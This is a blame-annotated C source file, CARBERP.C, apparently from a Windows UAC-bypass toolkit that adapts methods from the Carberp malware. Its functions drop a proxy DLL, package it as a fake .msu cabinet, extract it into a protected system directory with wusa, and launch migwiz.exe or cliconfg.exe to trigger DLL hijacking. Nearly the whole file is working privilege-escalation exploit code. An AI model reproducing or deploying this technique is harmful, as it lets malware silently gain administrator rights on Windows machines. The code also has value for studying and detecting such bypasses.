2015-03-29 08:12:55 +00:00
|
|
|
/*******************************************************************************
|
|
|
|
*
|
2015-11-16 15:22:39 +00:00
|
|
|
* (C) COPYRIGHT AUTHORS, 2014 - 2016
|
2015-03-29 08:12:55 +00:00
|
|
|
*
|
|
|
|
* TITLE: CARBERP.C
|
|
|
|
*
|
2015-11-16 15:22:39 +00:00
|
|
|
* VERSION: 2.00
|
2015-03-29 08:12:55 +00:00
|
|
|
*
|
2015-11-16 15:22:39 +00:00
|
|
|
* DATE: 16 Nov 2015
|
2015-03-29 08:12:55 +00:00
|
|
|
*
|
2015-03-30 07:03:39 +00:00
|
|
|
* Tweaked Carberp methods.
|
2015-03-29 08:12:55 +00:00
|
|
|
* Original Carberp is exploiting mcx2prov.exe in ehome.
|
|
|
|
*
|
|
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
|
|
* PARTICULAR PURPOSE.
|
|
|
|
*
|
|
|
|
*******************************************************************************/
|
|
|
|
#include "global.h"
|
2015-04-20 08:19:13 +00:00
|
|
|
#include "makecab.h"
|
2015-03-29 08:12:55 +00:00
|
|
|
|
|
|
|
/*
|
2015-04-20 08:19:13 +00:00
|
|
|
* ucmWusaExtractPackage
|
2015-03-29 08:12:55 +00:00
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
2015-04-20 08:19:13 +00:00
|
|
|
* Extract cab to protected directory using wusa.
|
2015-03-29 08:12:55 +00:00
|
|
|
*
|
|
|
|
*/
|
2015-04-20 08:19:13 +00:00
|
|
|
BOOL ucmWusaExtractPackage(
|
|
|
|
LPWSTR lpCommandLine
|
2015-03-29 08:12:55 +00:00
|
|
|
)
|
|
|
|
{
|
|
|
|
BOOL bResult = FALSE, cond = FALSE;
|
|
|
|
WCHAR szMsuFileName[MAX_PATH + 1];
|
|
|
|
WCHAR szCmd[MAX_PATH * 4];
|
|
|
|
|
|
|
|
RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName));
|
|
|
|
|
|
|
|
do {
|
|
|
|
|
2015-04-20 08:19:13 +00:00
|
|
|
if (ExpandEnvironmentStringsW(T_MSUPACKAGE_NAME,
|
2015-03-29 08:12:55 +00:00
|
|
|
szMsuFileName, MAX_PATH) == 0)
|
|
|
|
{
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
2015-04-04 15:37:21 +00:00
|
|
|
//extract msu data to target directory
|
2015-03-29 08:12:55 +00:00
|
|
|
RtlSecureZeroMemory(szCmd, sizeof(szCmd));
|
2015-03-30 07:03:39 +00:00
|
|
|
wsprintfW(szCmd, lpCommandLine, szMsuFileName);
|
2015-04-05 16:28:52 +00:00
|
|
|
bResult = supRunProcess(L"cmd.exe", szCmd);
|
|
|
|
if (bResult == FALSE) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
} while (cond);
|
|
|
|
|
|
|
|
if (szMsuFileName[0] != 0) {
|
|
|
|
DeleteFileW(szMsuFileName);
|
|
|
|
}
|
|
|
|
return bResult;
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
* ucmWusaMethod
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Build and install fake msu package then run target application.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
BOOL ucmWusaMethod(
|
2015-11-16 15:22:39 +00:00
|
|
|
UACBYPASSMETHOD Method,
|
2015-04-05 16:28:52 +00:00
|
|
|
PVOID ProxyDll,
|
|
|
|
DWORD ProxyDllSize
|
|
|
|
)
|
|
|
|
{
|
|
|
|
BOOL bResult = FALSE, cond = FALSE;
|
2015-04-20 08:19:13 +00:00
|
|
|
LPWSTR lpSourceDll, lpCommandLine, lpTargetProcess;
|
2015-04-05 16:28:52 +00:00
|
|
|
WCHAR szCmd[MAX_PATH * 4];
|
|
|
|
|
|
|
|
if (
|
|
|
|
(ProxyDll == NULL) ||
|
|
|
|
(ProxyDllSize == 0)
|
|
|
|
)
|
|
|
|
{
|
|
|
|
return FALSE;
|
|
|
|
}
|
|
|
|
|
2015-11-16 15:22:39 +00:00
|
|
|
switch (Method) {
|
2015-04-05 16:28:52 +00:00
|
|
|
|
|
|
|
//use migwiz.exe as target
|
2015-11-16 15:22:39 +00:00
|
|
|
case UacMethodCarberp1:
|
2015-04-05 16:28:52 +00:00
|
|
|
lpSourceDll = METHOD_MIGWIZ_SOURCEDLL;
|
|
|
|
lpCommandLine = METHOD_MIGWIZ_CMDLINE;
|
|
|
|
lpTargetProcess = METHOD_MIGWIZ_TARGETAPP;
|
|
|
|
break;
|
|
|
|
|
|
|
|
//use cliconfg.exe as target
|
2015-11-16 15:22:39 +00:00
|
|
|
case UacMethodCarberp2:
|
2015-04-20 08:19:13 +00:00
|
|
|
lpSourceDll = METHOD_SQLSRV_SOURCEDLL;
|
|
|
|
lpCommandLine = METHOD_SQLSRV_CMDLINE;
|
|
|
|
lpTargetProcess = METHOD_SQLSRV_TARGETAPP;
|
2015-04-05 16:28:52 +00:00
|
|
|
break;
|
|
|
|
|
|
|
|
default:
|
|
|
|
return FALSE;
|
|
|
|
}
|
|
|
|
|
|
|
|
do {
|
|
|
|
|
2015-04-20 08:19:13 +00:00
|
|
|
//
|
|
|
|
// Extract file to the protected directory
|
|
|
|
// First, create cab with fake msu ext, second run fusion process.
|
|
|
|
//
|
|
|
|
if (!ucmCreateCabinetForSingleFile(lpSourceDll, ProxyDll, ProxyDllSize)) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (!ucmWusaExtractPackage(lpCommandLine)) {
|
2015-03-29 08:12:55 +00:00
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
2015-04-04 15:37:21 +00:00
|
|
|
//run target process for dll hijacking
|
2015-03-29 08:12:55 +00:00
|
|
|
RtlSecureZeroMemory(szCmd, sizeof(szCmd));
|
2015-03-30 07:03:39 +00:00
|
|
|
if (ExpandEnvironmentStringsW(lpTargetProcess,
|
2015-03-29 08:12:55 +00:00
|
|
|
szCmd, MAX_PATH) == 0)
|
|
|
|
{
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
bResult = supRunProcess(szCmd, NULL);
|
|
|
|
|
|
|
|
} while (cond);
|
|
|
|
|
|
|
|
|
2015-04-20 08:19:13 +00:00
|
|
|
return bResult;
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
* ucmCreateCabinetForSingleFile
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Build cabinet for usage in methods where required 1 file.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
BOOL ucmCreateCabinetForSingleFile(
|
|
|
|
LPWSTR lpSourceDll,
|
|
|
|
PVOID ProxyDll,
|
|
|
|
DWORD ProxyDllSize
|
|
|
|
)
|
|
|
|
{
|
|
|
|
BOOL cond = FALSE, bResult = FALSE;
|
|
|
|
CABDATA *Cabinet = NULL;
|
|
|
|
WCHAR szDllFileName[MAX_PATH + 1];
|
|
|
|
WCHAR szMsuFileName[MAX_PATH + 1];
|
|
|
|
|
|
|
|
if (
|
|
|
|
(ProxyDll == NULL) ||
|
|
|
|
(ProxyDllSize == 0)
|
|
|
|
)
|
|
|
|
{
|
|
|
|
return FALSE;
|
|
|
|
}
|
|
|
|
|
|
|
|
do {
|
|
|
|
|
|
|
|
//drop proxy dll
|
|
|
|
RtlSecureZeroMemory(szDllFileName, sizeof(szDllFileName));
|
|
|
|
if (ExpandEnvironmentStringsW(lpSourceDll,
|
|
|
|
szDllFileName, MAX_PATH) == 0)
|
|
|
|
{
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
if (!supWriteBufferToFile(szDllFileName, ProxyDll, ProxyDllSize)) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
//build cabinet
|
|
|
|
RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName));
|
|
|
|
if (ExpandEnvironmentStringsW(T_MSUPACKAGE_NAME,
|
|
|
|
szMsuFileName, MAX_PATH) == 0)
|
|
|
|
{
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
Cabinet = cabCreate(szMsuFileName);
|
|
|
|
if (Cabinet) {
|
|
|
|
lpSourceDll = _filenameW(szDllFileName);
|
|
|
|
//put file without compression
|
|
|
|
bResult = cabAddFile(Cabinet, szDllFileName, lpSourceDll);
|
|
|
|
cabClose(Cabinet);
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
} while (cond);
|
|
|
|
|
2015-03-29 08:12:55 +00:00
|
|
|
return bResult;
|
|
|
|
}
|